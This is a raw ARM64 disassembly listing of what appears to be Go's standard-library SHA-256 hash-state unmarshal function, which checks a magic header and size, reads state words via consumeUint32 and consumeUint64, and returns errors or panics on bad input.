00512a60ldrb w5, [x3+1]
00512a64ubfm x5, x5, 56, 7
00512a68orr x4, x4, x5
00512a6cb 0x512a70
00512a70
00512a70loc_512a70:
00512a70ldrb w5, [x3+2]
00512a74ubfm x5, x5, 48, 7
00512a78orr x4, x4, x5
00512a7cb 0x512a80
00512a80
00512a80loc_512a80:
00512a80ldrb w3, [x3+3]
00512a84ubfm x3, x3, 40, 7
00512a88orr x3, x4, x3
00512a8cmovz x4, 26739
00512a90movk x4, 0x2610000
00512a94subs wzr, w3, w4
00512a98cset x3, ne
00512a9cb 0x512aa0
00512aa0
00512aa0loc_512aa0:
00512aa0strb w3, [sp+41]
00512aa4b 0x512ab0
00512aa8
00512aa8loc_512aa8:
00512aa8orr x1, xzr, 4
00512aacb 0x512ab0
00512ab0
00512ab0loc_512ab0:
00512ab0ldrb w3, [sp+41]
00512ab4strb w3, [sp+42]
00512ab8b 0x512abc
00512abc
00512abcloc_512abc:
00512abcldrb w3, [sp+42]
00512ac0strb w3, [sp+43]
00512ac4tbnz w3, 0, 0x512acc
00512ac8b 0x512ad0
00512acc
00512accloc_512acc:
00512accb 0x512b80
00512ad0
00512ad0loc_512ad0:
00512ad0ldr x3, [sp+488]
00512ad4ldrsb x27, [x3]
00512ad8ldrb w3, [x3+112]
00512adceor x4, x3, 1
00512ae0strb w4, [sp+41]
00512ae4tbnz w3, 0, 0x512aec
00512ae8b 0x512af0
00512aec
00512aecloc_512aec:
00512aecb 0x512b74
00512af0
00512af0loc_512af0:
00512af0ldr x3, [sp+496]
00512af4ldr x2, [sp+512]
00512af8subs xzr, x2, 4
00512afcb.hs 0x512b04
00512b00b 0x513134
00512b04
00512b04loc_512b04:
00512b04b 0x512b08
00512b08
00512b08loc_512b08:
00512b08str x3, [sp+328]
00512b0cstr x1, [sp+336]
00512b10str x2, [sp+344]
00512b14str x3, [sp+256]
00512b18str x1, [sp+264]
00512b1cb 0x512b20
00512b20
00512b20loc_512b20:
00512b20b 0x512b24
00512b24
00512b24loc_512b24:
00512b24ldrb w4, [x3]
00512b28b 0x512b2c
00512b2c
00512b2cloc_512b2c:
00512b2cldrb w5, [x3+1]
00512b30ubfm x5, x5, 56, 7
00512b34orr x4, x4, x5
00512b38b 0x512b3c
00512b3c
00512b3cloc_512b3c:
00512b3cldrb w5, [x3+2]
00512b40ubfm x5, x5, 48, 7
00512b44orr x4, x4, x5
00512b48b 0x512b4c
00512b4c
00512b4cloc_512b4c:
00512b4cldrb w3, [x3+3]
00512b50ubfm x3, x3, 40, 7
00512b54orr x3, x4, x3
00512b58movz x4, 26739
00512b5cmovk x4, 0x3610000
00512b60subs wzr, w3, w4
00512b64cset x3, ne
00512b68b 0x512b6c
00512b6c
00512b6cloc_512b6c:
00512b6cstrb w3, [sp+41]
00512b70b 0x512b74
00512b74
00512b74loc_512b74:
00512b74ldrb w3, [sp+41]
00512b78strb w3, [sp+43]
00512b7cb 0x512b80
00512b80
00512b80loc_512b80:
00512b80ldrb w3, [sp+43]
00512b84tbnz w3, 0, 0x512b8c
00512b88b 0x512bb8
00512b8c
00512b8cloc_512b8c:
00512b8cadrp x0, 0x1b4000
00512b90add x0, x0, 2256
00512b94movz x1, 44
00512b98bl errors.New
00512b9cstr x0, [sp+312]
00512ba0str x1, [sp+320]
00512ba4str x0, [sp+120]
00512ba8str x1, [sp+128]
00512bacldp x29, x30, [sp-8]
00512bb0add sp, sp, 480
00512bb4ret x30
00512bb8
00512bb8loc_512bb8:
00512bb8ldr x3, [sp+504]
00512bbcstr x3, [sp+104]
00512bc0subs xzr, x3, 108
00512bc4b.ne 0x512bcc
00512bc8b 0x512bf8
00512bcc
00512bccloc_512bcc:
00512bccadrp x0, 0x1b1000
00512bd0add x0, x0, 234
00512bd4movz x1, 38
00512bd8bl errors.New
00512bdcstr x0, [sp+312]
00512be0str x1, [sp+320]
00512be4str x0, [sp+120]
00512be8str x1, [sp+128]
00512becldp x29, x30, [sp-8]
00512bf0add sp, sp, 480
00512bf4ret x30
00512bf8
00512bf8loc_512bf8:
00512bf8ldr x3, [sp+504]
00512bfcldr x4, [sp+496]
00512c00ldr x5, [sp+512]
00512c04b 0x512c08
00512c08
00512c08loc_512c08:
00512c08subs xzr, x3, 4
00512c0cb.hs 0x512c14
00512c10b 0x513128
00512c14
00512c14loc_512c14:
00512c14sub x5, x5, 4
00512c18sub x6, xzr, x5
00512c1csub x3, x3, 4
00512c20sbfm x6, x6, 63, 63
00512c24and x6, x6, 4
00512c28add x4, x4, x6
00512c2cstr x4, [sp+496]
00512c30str x3, [sp+504]
00512c34str x5, [sp+512]
00512c38str xzr, [sp+328]
00512c3cstp xzr, xzr, [sp+336]
00512c40ldr x0, [sp+496]
00512c44ldr x1, [sp+504]
00512c48ldr x2, [sp+512]
00512c4cbl crypto/internal/fips140/sha256.consumeUint32
00512c50str x0, [sp+328]
00512c54str x1, [sp+336]
00512c58str x2, [sp+344]
00512c5cstr w3, [sp+56]
00512c60ldr x3, [sp+336]
00512c64ldr x4, [sp+344]
00512c68ldr x5, [sp+328]
00512c6cstr x5, [sp+272]
00512c70str x3, [sp+280]
00512c74str x4, [sp+288]
00512c78ldr w3, [sp+56]
00512c7cstr w3, [sp+52]
00512c80ldr x3, [sp+272]
00512c84ldr x4, [sp+280]
00512c88ldr x5, [sp+288]
00512c8cstr x3, [sp+496]
00512c90str x4, [sp+504]
00512c94str x5, [sp+512]
00512c98ldr x3, [sp+488]
00512c9cldrsb x27, [x3]
00512ca0ldr w4, [sp+52]
00512ca4str w4, [x3]
00512ca8str xzr, [sp+328]
00512cacstp xzr, xzr, [sp+336]
00512cb0ldr x0, [sp+496]
00512cb4ldr x1, [sp+504]
00512cb8ldr x2, [sp+512]
00512cbcbl crypto/internal/fips140/sha256.consumeUint32
00512cc0str x0, [sp+328]
00512cc4str x1, [sp+336]
00512cc8str x2, [sp+344]
00512cccstr w3, [sp+56]
00512cd0ldr x3, [sp+336]
00512cd4ldr x4, [sp+344]
00512cd8ldr x5, [sp+328]
00512cdcstr x5, [sp+184]
00512ce0str x3, [sp+192]
00512ce4str x4, [sp+200]
00512ce8ldr w3, [sp+56]
00512cecstr w3, [sp+48]
00512cf0ldr x3, [sp+184]
00512cf4ldr x4, [sp+192]
00512cf8ldr x5, [sp+200]
00512cfcstr x3, [sp+496]
00512d00str x4, [sp+504]
00512d04str x5, [sp+512]
00512d08ldr x3, [sp+488]
00512d0cldrsb x27, [x3]
00512d10ldr w4, [sp+48]
00512d14str w4, [x3+4]
00512d18str xzr, [sp+328]
00512d1cstp xzr, xzr, [sp+336]
00512d20ldr x0, [sp+496]
00512d24ldr x1, [sp+504]
00512d28ldr x2, [sp+512]
00512d2cbl crypto/internal/fips140/sha256.consumeUint32
00512d30str x0, [sp+328]
00512d34str x1, [sp+336]
00512d38str x2, [sp+344]
00512d3cstr w3, [sp+56]
00512d40ldr x3, [sp+336]
00512d44ldr x4, [sp+344]
00512d48ldr x5, [sp+328]
00512d4cstr x5, [sp+160]
00512d50str x3, [sp+168]
00512d54str x4, [sp+176]
00512d58ldr w3, [sp+56]
00512d5cstr w3, [sp+44]
00512d60ldr x3, [sp+160]
00512d64ldr x4, [sp+168]
00512d68ldr x5, [sp+176]
00512d6cstr x3, [sp+496]
00512d70str x4, [sp+504]
00512d74str x5, [sp+512]
00512d78ldr x3, [sp+488]
00512d7cldrsb x27, [x3]
00512d80ldr w4, [sp+44]
00512d84str w4, [x3+8]
00512d88str xzr, [sp+328]
00512d8cstp xzr, xzr, [sp+336]
00512d90ldr x0, [sp+496]
00512d94ldr x1, [sp+504]
00512d98ldr x2, [sp+512]
00512d9cbl crypto/internal/fips140/sha256.consumeUint32
00512da0str x0, [sp+328]
00512da4str x1, [sp+336]
00512da8str x2, [sp+344]
00512dacstr w3, [sp+56]
00512db0ldr x3, [sp+336]
00512db4ldr x4, [sp+344]
00512db8ldr x5, [sp+328]
00512dbcstr x5, [sp+136]
00512dc0str x3, [sp+144]
00512dc4str x4, [sp+152]
00512dc8ldr w3, [sp+56]
00512dccstr w3, [sp+76]
00512dd0ldr x3, [sp+136]
00512dd4ldr x4, [sp+144]
00512dd8ldr x5, [sp+152]
00512ddcstr x3, [sp+496]
00512de0str x4, [sp+504]
00512de4str x5, [sp+512]
00512de8ldr x3, [sp+488]
00512decldrsb x27, [x3]
00512df0ldr w4, [sp+76]
00512df4str w4, [x3+12]
00512df8str xzr, [sp+328]
00512dfcstp xzr, xzr, [sp+336]
00512e00ldr x0, [sp+496]
00512e04ldr x1, [sp+504]
00512e08ldr x2, [sp+512]
00512e0cbl crypto/internal/fips140/sha256.consumeUint32
00512e10str x0, [sp+328]
00512e14str x1, [sp+336]
00512e18str x2, [sp+344]
00512e1cstr w3, [sp+56]
00512e20ldr x3, [sp+336]
00512e24ldr x4, [sp+344]
00512e28ldr x5, [sp+328]
00512e2cstr x5, [sp+448]
00512e30str x3, [sp+456]
00512e34str x4, [sp+464]
00512e38ldr w3, [sp+56]
00512e3cstr w3, [sp+72]
00512e40ldr x3, [sp+448]
00512e44ldr x4, [sp+456]
00512e48ldr x5, [sp+464]
00512e4cstr x3, [sp+496]
00512e50str x4, [sp+504]
00512e54str x5, [sp+512]
00512e58ldr x3, [sp+488]
00512e5cldrsb x27, [x3]
00512e60ldr w4, [sp+72]
00512e64str w4, [x3+16]
00512e68str xzr, [sp+328]
00512e6cstp xzr, xzr, [sp+336]
00512e70ldr x0, [sp+496]
00512e74ldr x1, [sp+504]
00512e78ldr x2, [sp+512]
00512e7cbl crypto/internal/fips140/sha256.consumeUint32
00512e80str x0, [sp+328]
00512e84str x1, [sp+336]
00512e88str x2, [sp+344]
00512e8cstr w3, [sp+56]
00512e90ldr x3, [sp+336]
00512e94ldr x4, [sp+344]
00512e98ldr x5, [sp+328]
00512e9cstr x5, [sp+424]
00512ea0str x3, [sp+432]
00512ea4str x4, [sp+440]
00512ea8ldr w3, [sp+56]
00512eacstr w3, [sp+68]
00512eb0ldr x3, [sp+424]
00512eb4ldr x4, [sp+432]
00512eb8ldr x5, [sp+440]
00512ebcstr x3, [sp+496]
00512ec0str x4, [sp+504]
00512ec4str x5, [sp+512]
00512ec8ldr x3, [sp+488]
00512eccldrsb x27, [x3]
00512ed0ldr w4, [sp+68]
00512ed4str w4, [x3+20]
00512ed8str xzr, [sp+328]
00512edcstp xzr, xzr, [sp+336]
00512ee0ldr x0, [sp+496]
00512ee4ldr x1, [sp+504]
00512ee8ldr x2, [sp+512]
00512eecbl crypto/internal/fips140/sha256.consumeUint32
00512ef0str x0, [sp+328]
00512ef4str x1, [sp+336]
00512ef8str x2, [sp+344]
00512efcstr w3, [sp+56]
00512f00ldr x3, [sp+336]
00512f04ldr x4, [sp+344]
00512f08ldr x5, [sp+328]
00512f0cstr x5, [sp+400]
00512f10str x3, [sp+408]
00512f14str x4, [sp+416]
00512f18ldr w3, [sp+56]
00512f1cstr w3, [sp+64]
00512f20ldr x3, [sp+400]
00512f24ldr x4, [sp+408]
00512f28ldr x5, [sp+416]
00512f2cstr x3, [sp+496]
00512f30str x4, [sp+504]
00512f34str x5, [sp+512]
00512f38ldr x3, [sp+488]
00512f3cldrsb x27, [x3]
00512f40ldr w4, [sp+64]
00512f44str w4, [x3+24]
00512f48str xzr, [sp+328]
00512f4cstp xzr, xzr, [sp+336]
00512f50ldr x0, [sp+496]
00512f54ldr x1, [sp+504]
00512f58ldr x2, [sp+512]
00512f5cbl crypto/internal/fips140/sha256.consumeUint32
00512f60str x0, [sp+328]
00512f64str x1, [sp+336]
00512f68str x2, [sp+344]
00512f6cstr w3, [sp+56]
00512f70ldr x3, [sp+336]
00512f74ldr x4, [sp+344]
00512f78ldr x5, [sp+328]
00512f7cstr x5, [sp+376]
00512f80str x3, [sp+384]
00512f84str x4, [sp+392]
00512f88ldr w3, [sp+56]
00512f8cstr w3, [sp+60]
00512f90ldr x3, [sp+376]
00512f94ldr x4, [sp+384]
00512f98ldr x5, [sp+392]
00512f9cstr x3, [sp+496]
00512fa0str x4, [sp+504]
00512fa4str x5, [sp+512]
00512fa8ldr x3, [sp+488]
00512facldrsb x27, [x3]
00512fb0ldr w4, [sp+60]
00512fb4str w4, [x3+28]
00512fb8ldr x3, [sp+488]
00512fbcldrsb x27, [x3]
00512fc0add x3, x3, 32
00512fc4ldrsb x27, [x3]
00512fc8b 0x512fcc
00512fcc
00512fccloc_512fcc:
00512fccstr x3, [sp+328]
00512fd0orr x4, xzr, 64
00512fd4str x4, [sp+336]
00512fd8str x4, [sp+344]
00512fdcstr x3, [sp+232]
00512fe0str x4, [sp+240]
00512fe4str x4, [sp+248]
00512fe8ldr x3, [sp+504]
00512fecldr x4, [sp+496]
00512ff0ldr x5, [sp+512]
00512ff4str x4, [sp+208]
00512ff8str x3, [sp+216]
00512ffcstr x5, [sp+224]
00513000ldr x4, [sp+240]
00513004str x4, [sp+88]
00513008subs xzr, x4, x3
0051300cb.gt 0x513014
00513010b 0x51301c
00513014
00513014loc_513014:
00513014str x3, [sp+88]
00513018b 0x513020
0051301c
0051301cloc_51301c:
0051301cb 0x513020
00513020
00513020loc_513020:
00513020ldr x3, [sp+208]
00513024ldr x4, [sp+232]
00513028subs xzr, x3, x4
0051302cb.ne 0x513034
00513030b 0x513050
00513034
00513034loc_513034:
00513034ldr x3, [sp+88]
00513038str x3, [sp+80]
0051303cldr x2, [sp+80]
00513040ldr x1, [sp+208]
00513044ldr x0, [sp+232]
00513048bl runtime.memmove
0051304cb 0x513054
00513050
00513050loc_513050:
00513050b 0x513054
00513054
00513054loc_513054:
00513054ldr x0, [sp+88]
00513058str x0, [sp+104]
0051305cldr x1, [sp+504]
00513060ldr x3, [sp+496]
00513064ldr x4, [sp+512]
00513068b 0x51306c
0051306c
0051306cloc_51306c:
0051306csubs xzr, x1, x0
00513070b.hs 0x513078
00513074b 0x513124
00513078
00513078loc_513078:
00513078sub x4, x4, x0
0051307csub x5, x1, x0
00513080sub x6, xzr, x4
00513084and x6, x0, x6, asr #63
00513088add x3, x3, x6
0051308cstr x3, [sp+496]
00513090str x5, [sp+504]
00513094str x4, [sp+512]
00513098str xzr, [sp+328]
0051309cstp xzr, xzr, [sp+336]
005130a0ldr x0, [sp+496]
005130a4ldr x1, [sp+504]
005130a8ldr x2, [sp+512]
005130acbl crypto/internal/fips140/sha256.consumeUint64
005130b0str x0, [sp+328]
005130b4str x1, [sp+336]
005130b8str x2, [sp+344]
005130bcstr x3, [sp+96]
005130c0str x0, [sp+352]
005130c4str x1, [sp+360]
005130c8str x2, [sp+368]
005130ccldr x3, [sp+96]
005130d0str x3, [sp+112]
005130d4str x0, [sp+496]
005130d8str x1, [sp+504]
005130dcstr x2, [sp+512]
005130e0ldr x3, [sp+488]
005130e4ldrsb x27, [x3]
005130e8ldr x4, [sp+112]
005130ecstr x4, [x3+104]
005130f0ldr x3, [sp+488]
005130f4ldrsb x27, [x3]
005130f8ldr x4, [sp+488]
005130fcldrsb x27, [x4]
00513100ldr x4, [x4+104]
00513104and x4, x4, 63
00513108str x4, [x3+96]
0051310cstp xzr, xzr, [sp+120]
00513110mov x0, xzr
00513114mov x1, xzr
00513118ldp x29, x30, [sp-8]
0051311cadd sp, sp, 480
00513120ret x30
00513124
00513124loc_513124:
00513124bl runtime.panicSliceB
00513128
00513128loc_513128:
00513128mov x0, x1
0051312cmov x1, x3
00513130bl runtime.panicSliceB
00513134
00513134loc_513134:
00513134bl runtime.panicSliceAcap
00513138
00513138loc_513138:
00513138orr x1, xzr, 4
0051313cbl runtime.panicSliceAcap
00513140hint
00513144
00513144loc_513144:
00513144stp x0, x1, [sp+8]
00513148stp x2, x3, [sp+24]
0051314cmov x3, x30
00513150bl runtime.morestack_noctxt.abi0
00513154ldp x0, x1, [sp+8]
00513158ldp x2, x3, [sp+24]
0051315cb 0x5129b0
005129b0
Loading..